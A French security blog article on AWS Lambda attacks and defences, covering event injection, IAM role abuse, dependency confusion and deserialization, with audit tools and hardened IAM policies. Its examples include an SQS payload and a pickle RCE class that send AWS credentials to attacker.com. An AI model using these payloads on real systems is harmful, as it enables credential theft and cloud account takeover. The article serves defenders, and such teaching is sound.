AWS Lambda Security : Attaques et Defenses : Guide Complet

La sécurité des fonctions AWS Lambda est devenue un angle mort critique pour les équipes cloud en 2026. Dans les environnements serverless, l'infrastructure disparaît du champ de vision des équipes sécurité — et c'est précisément là que se cachent les vecteurs d'attaque les plus sous-estimés. Lors d'un test d'intrusion cloud réalisé en 2025 pour un groupe d'assurance français, nous avons compromis l'intégralité d'un environnement de production en exploitant une seule fonction Lambda mal configurée : rôle IAM avec iam:PassRole non restreint, layer Python contenant une librairie compromise, et event source SQS sans validation d'entrée. Trois faiblesses classiques, combinées, qui ont ouvert l'accès à 47 buckets S3 et la base RDS de production. Cet article AWS Lambda security décortique les vecteurs d'attaque réels, les outils d'audit efficaces, et les contre-mesures concrètes qui font la différence entre une posture serverless solide et une catastrophe en attente. Les incidents ALPHV/BlackCat de 2024 ont montré que les environnements cloud mal configurés sont désormais des cibles prioritaires pour les groupes ransomware — Lambda n'est pas épargnée.

Architecture Lambda et surface d'attaque réelle

Avant de parler d'attaques, il faut comprendre ce que vous exposez réellement. Une fonction Lambda s'exécute dans un environnement d'exécution isolé (micro-VM Firecracker, le hyperviseur open-source développé par AWS) géré par le provider. Mais cet isolement ne protège pas contre les mauvaises configurations — il les cache simplement mieux.

Les composants exposés dans une architecture Lambda typique :

• Event sources : API Gateway, SQS, SNS, S3, DynamoDB Streams, EventBridge, Kinesis — chaque source est un vecteur d'entrée potentiel non contrôlé par Lambda elle-même
• Rôle d'exécution IAM : les credentials temporaires (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) sont injectés dans les variables d'environnement à chaque invocation et exposés via le metadata service interne
• Lambda Layers : bibliothèques partagées entre fonctions, potentiellement compromises via des attaques supply chain sur les registres npm ou PyPI
• Variables d'environnement : secrets, clés API, strings de connexion DB — souvent stockés en clair sans chiffrement KMS activé
• Lambda URLs : endpoints HTTPS publics introduits en 2022, fréquemment déployés sans authentification IAM (AuthType: NONE)
• VPC attachments : quand Lambda est attachée à un VPC, elle accède aux ressources internes (RDS, ElasticSearch, services internes) — un pivot redoutable si la fonction est compromise

La surface d'attaque serverless est donc à la fois plus petite (pas de SSH, pas d'OS à patcher manuellement) et plus large (multiplicité des event sources, credentials éphémères mais puissants, chaîne de dépendances complexe). Le livre blanc pentest cloud AWS/Azure/GCP documente en détail les patterns d'attaque observés lors de missions réelles.

Event Injection : les sources d'événements comme vecteurs d'attaque

L'event injection est l'équivalent serverless de l'injection SQL. Si votre fonction Lambda consomme des messages SQS, des notifications SNS ou des événements S3 sans valider leur contenu, un attaquant ayant accès à la source injecte des données malveillantes dans votre pipeline d'exécution.

Exemple concret : une fonction Lambda qui traite des commandes e-commerce via SQS. Le développeur suppose que les messages proviennent uniquement du frontend validé. Mais si l'attaquant peut écrire directement dans la queue (permissions IAM mal configurées, ou via un compte compromis), il envoie ce payload malveillant :

{
  "Records": [
    {
      "messageId": "059f36b4-87a3-44ab-83d2-661975830a7d",
      "body": "{\"order_id\": \"../../../../tmp/pwned\", \"user_id\": \"1 OR 1=1--\", \"amount\": \"-999.99\", \"callback_url\": \"https://attacker.com/exfil?token=${AWS_SESSION_TOKEN}\"}",
      "eventSource": "aws:sqs",
      "eventSourceARN": "arn:aws:sqs:eu-west-1:123456789012:orders-queue"
    }
  ]
}

Les vecteurs d'injection par source :

• S3 Events : injection via le nom du bucket ou l'object key malformé (path traversal, SSRF si l'URL est reconstruite dynamiquement)
• API Gateway : headers HTTP, query parameters, body JSON — tous contrôlés par l'attaquant externe sans validation côté Lambda
• SNS : message body non signé cryptographiquement par défaut dans de nombreuses configurations héritées
• DynamoDB Streams : si la table source est compromise, les events injectés traversent toute la chaîne de traitement Lambda en aval

La validation côté Lambda est donc obligatoire, quelle que soit la confiance accordée à la source. Un schéma JSON strict avec des bibliothèques comme pydantic (Python) ou zod (Node.js) devrait être systématique dans chaque handler.

Role Abuse — Over-permissive Execution Role : le péché originel Lambda

C'est le vecteur numéro un observé en mission. Le développeur crée une fonction Lambda, attache un rôle IAM, et pour "gagner du temps", utilise une politique trop large. En production. Six mois plus tard, personne ne sait pourquoi ce rôle existe avec ces permissions.

Politique IAM dangereuse (à ne jamais utiliser en production) :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

Cette politique — malheureusement observée dans des environnements réels lors de missions red team — donne à la fonction Lambda un accès administrateur complet à l'ensemble du compte AWS. Si la fonction est compromise (via event injection, RCE ou supply chain), l'attaquant hérite de ces credentials et peut faire absolument n'importe quoi : créer des utilisateurs IAM backdoor, exfiltrer S3, modifier les security groups, lancer des instances EC2 pour du cryptomining.

Politique IAM correcte — principe du moindre privilège strict :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "S3ReadSpecificBucket",
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::mon-bucket-prod",
        "arn:aws:s3:::mon-bucket-prod/*"
      ]
    },
    {
      "Sid": "SQSConsumeSpecificQueue",
      "Effect": "Allow",
      "Action": [
        "sqs:ReceiveMessage",
        "sqs:DeleteMessage",
        "sqs:GetQueueAttributes"
      ],
      "Resource": "arn:aws:sqs:eu-west-1:123456789012:orders-queue"
    },
    {
      "Sid": "SSMReadParameters",
      "Effect": "Allow",
      "Action": [
        "ssm:GetParameter"
      ],
      "Resource": "arn:aws:ssm:eu-west-1:123456789012:parameter/prod/database/*",
      "Condition": {
        "StringEquals": {
          "aws:RequestedRegion": "eu-west-1"
        }
      }
    },
    {
      "Sid": "CloudWatchLogs",
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogStream",
        "logs:PutLogEvents"
      ],
      "Resource": "arn:aws:logs:eu-west-1:123456789012:log-group:/aws/lambda/ma-fonction:*"
    }
  ]
}

La différence est fondamentale : chaque action est justifiée fonctionnellement, chaque ressource est spécifiée par ARN complet, et des conditions régionales réduisent la portée en cas de compromise. Voir aussi l'article sur les escalades de privilèges AWS pour les techniques complètes d'exploitation des rôles IAM over-permissifs.

Dependency Confusion dans les Lambda Layers : l'attaque supply chain silencieuse

Les Lambda Layers permettent de partager du code et des bibliothèques entre fonctions. Un layer Python peut contenir des dizaines de packages. Et c'est là que réside un vecteur supply chain sous-estimé : la dependency confusion.

Le principe : si votre layer contient un package nommé internal-utils qui existe dans votre registre privé PyPI/npm, un attaquant peut publier un package malveillant du même nom sur le registre public (PyPI officiel, npm registry) avec un numéro de version supérieur. Si pip ou npm est configuré pour chercher d'abord le registre public, il télécharge la version malveillante.

Cette attaque a été documentée publiquement par Alex Birsan en 2021, ayant compromis des systèmes chez Apple, Microsoft, PayPal et Tesla lors de sa proof-of-concept. En 2024-2025, plusieurs incidents similaires ont ciblé des environnements cloud incluant des fonctions Lambda dans des pipelines de traitement de données.

Contre-mesures techniques :

• Utiliser un registre privé AWS CodeArtifact avec --index-url exclusif et blocage du fallback vers PyPI public
• Verrouiller les versions exactes dans requirements.txt (pas de >= ou ~=, uniquement ==)
• Générer et vérifier des hash SHA256 des packages (pip hash --algorithm sha256)
• Scanner les layers avec Syft + Grype pour la détection de CVEs et de packages suspects

Cold Start Timing Attacks : inférer des informations via la latence différentielle

Les fonctions Lambda connaissent un phénomène de cold start : lors de la première invocation (ou après une période d'inactivité), AWS doit initialiser l'environnement d'exécution, charger le runtime et exécuter le code d'initialisation. Ce cold start génère une latence supplémentaire mesurable — typiquement 100ms à 3 secondes selon le runtime et la taille du package de déploiement.

Un attaquant externe peut exploiter ce timing différentiel pour inférer des informations sur l'état interne de votre infrastructure :

• Inférence de trafic : en mesurant la latence de réponse d'une Lambda exposée via API Gateway, l'attaquant détermine si la fonction était "chaude" (traitant activement des requêtes) ou "froide" (inactive) — révélant des patterns d'utilisation métier
• Cache timing : les connexions DB établies en dehors du handler (code d'initialisation) persistent entre invocations "chaudes". Un timing différentiel peut révéler si une connexion DB est active ou non, et donc si des transactions sont en cours
• Enumération de fonctions existantes : via l'API publique d'invocation Lambda URL, le temps de réponse (cold vs warm) combiné aux codes d'erreur peut révéler l'existence de fonctions non documentées dans la surface d'attaque

Mitigation : provisioned concurrency pour les fonctions sensibles élimine le cold start mesurable, et une randomisation des délais dans le code d'initialisation rend le timing moins prédictible pour les environnements très sensibles.

RCE via Désérialisation : un classique qui touche aussi Lambda

Les vulnérabilités de désérialisation ne sont pas réservées aux applications Java monolithiques. Les fonctions Lambda qui désérialisent des données depuis leurs event sources sont exposées si elles utilisent des mécanismes de désérialisation non sécurisés.

Exemple Python avec pickle — un format de sérialisation Python qui ne doit jamais être utilisé pour des données provenant de sources non fiables :

import pickle
import base64
import os

# VULNERABLE : un attaquant contrôle le contenu de event["payload"]
def lambda_handler(event, context):
    # DANGER : pickle.loads() peut exécuter du code arbitraire
    data = pickle.loads(base64.b64decode(event["payload"]))
    return process_data(data)

# Payload malveillant construit par un attaquant pour exfiltrer les credentials AWS :
class RCEPayload(object):
    def __reduce__(self):
        # Exfiltration des credentials temporaires AWS via variables d'environnement
        cmd = (
            "curl -s 'https://attacker.com/exfil?"
            "key='$AWS_ACCESS_KEY_ID"
            "'&secret='$AWS_SECRET_ACCESS_KEY"
            "'&token='$AWS_SESSION_TOKEN"
        )
        return (os.system, (cmd,))

# L'attaquant génère et envoie ce payload dans l'event
malicious_payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
# malicious_payload est envoyé dans event["payload"] lors de l'invocation

En Java, les fonctions Lambda utilisant Jackson sans configuration de type polymorphique sécurisée sont exposées aux vulnérabilités de deserialization documentées sous CVE-2019-20330 et ses variantes. Le pattern d'exploitation est identique : l'attaquant fournit un objet sérialisé malveillant qui exécute du code lors de la désérialisation, avec accès aux mêmes credentials AWS que la fonction légitime.

Privilege Escalation via Lambda URL : le raccourci dangereux

Les Lambda Function URLs, introduites en avril 2022, permettent d'exposer une fonction Lambda directement via HTTPS sans passer par API Gateway. Pratique pour les développeurs qui veulent éviter la complexité de configuration d'API Gateway. Catastrophique en production si le paramètre d'authentification est mal configuré.

Le problème : lors de la création d'une Lambda URL, le développeur peut choisir AuthType: NONE — aucune authentification IAM requise. La fonction est alors accessible publiquement sur une URL de la forme https://[id].lambda-url.[region].on.aws, sans restriction d'IP ni d'identité. Si la fonction dispose d'un rôle IAM sur-permissif, un attaquant peut l'appeler librement et exploiter ce rôle.

Pattern d'exploitation observé en missions red team 2025 :

1. Enumération des Lambda URLs via CloudTrail (si accès en lecture sur le compte) ou via bruteforce de patterns d'URL prévisibles
2. Invocation sans authentification : curl -X POST https://abc123def456.lambda-url.eu-west-1.on.aws/
3. Exploration des fonctions exposant des "APIs internes" sans validation d'authentification applicative
4. Exploitation du rôle IAM via SSRF interne : appel à l'endpoint de metadata AWS (http://169.254.170.2/latest/meta-data/iam/security-credentials/) pour récupérer les credentials temporaires depuis l'intérieur de la fonction

Voir notre analyse détaillée des escalades de privilèges AWS pour les techniques complètes d'exploitation des Lambda URLs et des metadata services.

Outils de détection et d'audit Lambda : le kit indispensable

L'audit de sécurité Lambda nécessite des outils spécialisés. Voici les quatre incontournables avec leurs commandes réelles utilisées en mission.

Pacu — Framework d'exploitation AWS (open-source, Rhino Security Labs) :

# Installation et configuration Pacu
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && pip3 install -r requirements.txt
python3 pacu.py

# Dans la console Pacu, importer les credentials AWS
set_keys

# Enumération complète des fonctions Lambda et leurs configurations
run lambda__enum

# Audit des permissions IAM et détection de sur-permissions
run iam__enum_permissions

# Vérification des fonctions accessibles publiquement
run lambda__enum --regions eu-west-1,eu-west-3

# Export des résultats pour rapport
export_keys --service lambda

ScoutSuite — Audit multi-cloud (NCC Group) :

# Installation ScoutSuite
pip3 install scoutsuite

# Audit complet AWS avec focus Lambda et IAM
scout aws --profile mon-profil-audit --report-dir /tmp/scout-report

# Audit ciblé services serverless uniquement
scout aws --profile mon-profil --services lambda iam s3 --report-name lambda-audit-2026

# Le rapport HTML interactif est disponible dans /tmp/scout-report/
# Les findings Lambda sont dans la section "Lambda" du rapport

Prowler — Framework d'audit CIS/NIST (open-source) :

# Installation Prowler v3+
pip3 install prowler

# Audit Lambda avec checks CIS AWS Foundations Benchmark
prowler aws --services lambda --output-formats json html

# Checks spécifiques vulnérabilités Lambda critiques
prowler aws --checks lambda_function_not_publicly_accessible \
            lambda_function_url_auth_type \
            lambda_function_invoke_api_operations_cloudtrail_logging_enabled \
            lambda_function_no_secrets_in_variables

# Audit IAM des rôles d'exécution Lambda
prowler aws --checks iam_policy_no_statements_with_admin_permissions \
            iam_policy_attached_only_to_groups_or_roles \
            iam_avoid_root_usage

CloudSploit (Aqua Security) — disponible sur GitHub :

# Installation CloudSploit
git clone https://github.com/aquasecurity/cloudsploit
cd cloudsploit && npm install

# Configuration des credentials AWS
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_DEFAULT_REGION=eu-west-1

# Scan Lambda complet avec sortie tabulaire
node index.js --provider aws --console table --service lambda

# Export JSON pour intégration pipeline CI/CD et SIEM
node index.js --provider aws --json /tmp/cloudsploit-results.json --service lambda

Pour un audit complet, combinez ces outils : ScoutSuite pour la vue d'ensemble des mauvaises configurations, Prowler pour la conformité CIS, Pacu pour la simulation d'exploitation, et CloudSploit pour les checks spécifiques runtime. Les techniques de forensique cloud AWS/Azure utilisent ces mêmes outils en mode investigation post-incident.

Tableau comparatif : outils d'audit sécurité Lambda

Pour les équipes disposant d'un budget, AWS Security Hub avec les standards AWS Foundational Security Best Practices et CIS AWS Foundations Benchmark v1.4 offre une couverture continue en natif, complémentaire à ces outils open-source.

Politiques IAM sécurisées — exemples complets pour la production

Au-delà des exemples précédents, voici les patterns avancés pour construire des politiques IAM Lambda réellement restrictives en production.

Condition keys pour restreindre les invocations au VPC interne :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RestrictInvocationToVPC",
      "Effect": "Deny",
      "Action": "lambda:InvokeFunction",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:SourceVpc": "vpc-0123456789abcdef0"
        }
      }
    },
    {
      "Sid": "DenyPublicLambdaURL",
      "Effect": "Deny",
      "Action": "lambda:CreateFunctionUrlConfig",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "lambda:FunctionUrlAuthType": "NONE"
        }
      }
    },
    {
      "Sid": "RequireEncryptedEnvVars",
      "Effect": "Deny",
      "Action": "lambda:CreateFunction",
      "Resource": "*",
      "Condition": {
        "Null": {
          "lambda:KMSKeyArn": "true"
        }
      }
    }
  ]
}

SCP (Service Control Policy) au niveau Organisation pour bloquer les wildcards :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "PreventLambdaAdminRole",
      "Effect": "Deny",
      "Action": [
        "iam:AttachRolePolicy",
        "iam:PutRolePolicy"
      ],
      "Resource": "arn:aws:iam::*:role/*lambda*",
      "Condition": {
        "ArnEquals": {
          "iam:PolicyARN": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
      }
    }
  ]
}

Ces patterns s'inscrivent dans une stratégie défense en profondeur documentée par la documentation officielle AWS Lambda Security et les recommandations de la CISA Cloud Security Technical Reference Architecture.

L'intégration de ces contrôles dans un pipeline de tests automatisés permet de détecter les dérives de configuration avant le déploiement en production. Les programmes de bug bounty permettent également de faire tester ces configurations par une communauté de chercheurs indépendants.

Automatisation de la surveillance continue Lambda

La configuration statique ne suffit pas. Voici une stratégie de détection opérationnelle pour surveiller les comportements anormaux en temps réel :

# Créer une alarme CloudWatch sur les invocations anormales
aws cloudwatch put-metric-alarm \
  --alarm-name "LambdaAnomalousInvocations" \
  --alarm-description "Détection invocations Lambda hors plage normale" \
  --metric-name Invocations \
  --namespace AWS/Lambda \
  --statistic Sum \
  --period 300 \
  --threshold 1000 \
  --comparison-operator GreaterThanThreshold \
  --evaluation-periods 1 \
  --alarm-actions arn:aws:sns:eu-west-1:123456789012:security-alerts

# Activer Lambda Insights pour monitoring avancé (mémoire, init duration, etc.)
aws lambda update-function-configuration \
  --function-name ma-fonction-prod \
  --layers arn:aws:lambda:eu-west-1:580247275435:layer:LambdaInsightsExtension:38

# Détecter les fonctions Lambda sans chiffrement KMS des variables d'environnement
aws lambda list-functions \
  --query "Functions[?Environment.Variables != null && KMSKeyArn == null].FunctionName" \
  --output table

# Lister toutes les Lambda URLs avec AuthType NONE (accès public non authentifié)
aws lambda list-function-url-configs --function-name "*" \
  --query "FunctionUrlConfigs[?AuthType=='NONE'].[FunctionArn, FunctionUrl]" \
  --output table 2>/dev/null || echo "Vérifier manuellement par fonction"

Questions fréquentes

Les fonctions Lambda sont-elles automatiquement sécurisées par AWS ?

Non. AWS gère l'isolement au niveau infrastructure (hyperviseur Firecracker), mais la configuration IAM, la validation des événements entrants, la gestion des secrets et la sécurité du code applicatif restent entièrement de votre responsabilité. Le modèle de responsabilité partagée AWS s'applique pleinement : AWS sécurise le cloud, vous sécurisez ce que vous mettez dans le cloud.

Comment identifier si mes fonctions Lambda ont des permissions excessives ?

Utilisez AWS IAM Access Analyzer avec la fonctionnalité d'analyse des politiques de ressources, combinée à Prowler (check iam_policy_no_statements_with_admin_permissions). AWS propose également le service IAM Policy Simulator pour tester concrètement ce que chaque politique autorise. Un audit initial avec ScoutSuite ou Prowler révèle généralement 60 à 80% des sur-permissions en moins d'une heure sur un compte AWS standard.

Lambda URL sans authentification est-elle toujours une vulnérabilité ?

Pas nécessairement — mais elle doit être explicitement justifiée et documentée. Un webhook public pour recevoir des notifications Stripe ou GitHub peut légitimement utiliser AuthType: NONE avec une validation de signature applicative côté handler. En revanche, toute Lambda URL sans authentification exposant des données métier ou des actions d'administration est une vulnérabilité critique à corriger immédiatement via une SCP ou une resource-based policy restrictive.

Comment sécuriser les secrets dans les variables d'environnement Lambda ?

Trois niveaux de protection complémentaires : (1) chiffrement KMS au repos des variables d'environnement Lambda — option native à activer systématiquement, (2) stockage dans AWS Secrets Manager ou SSM Parameter Store avec SecureString plutôt qu'en dur dans les variables, et (3) rotation automatique des secrets via Secrets Manager avec TTL de 30 jours maximum. Ne jamais stocker de credentials long-terme dans les variables d'environnement Lambda.

Quel est le ROI d'un audit Lambda par rapport à un audit applicatif classique ?

L'audit Lambda offre un ROI supérieur car les misconfigurés IAM Lambda ont un blast radius potentiellement énorme sur tout le compte AWS, alors qu'une vuln applicative classique est souvent limitée à une application. En pratique, corriger un rôle IAM sur-permissif coûte 30 minutes d'un consultant, mais peut prévenir une compromission totale du compte AWS valorisée à plusieurs centaines de milliers d'euros d'impact opérationnel.

Conclusion

AWS Lambda est une technologie puissante dont la sécurité repose sur trois piliers non négociables : des rôles IAM stricts avec moindre privilège absolu, une validation systématique de toutes les données d'événements entrants quelle que soit la source, et une surveillance continue via des outils spécialisés. Les attaques documentées dans cet article — event injection, role abuse, dependency confusion, RCE via désérialisation, exploitation des Lambda URLs publiques — ne sont pas théoriques. Elles ont été exploitées dans des incidents réels contre des organisations ayant précisément sous-estimé la surface d'attaque serverless.

L'adoption de Lambda continue de croître rapidement, et les attaquants ont parfaitement intégré cet environnement dans leurs playbooks. La question n'est pas de savoir si votre environnement Lambda sera ciblé, mais quand — et si votre équipe sera prête.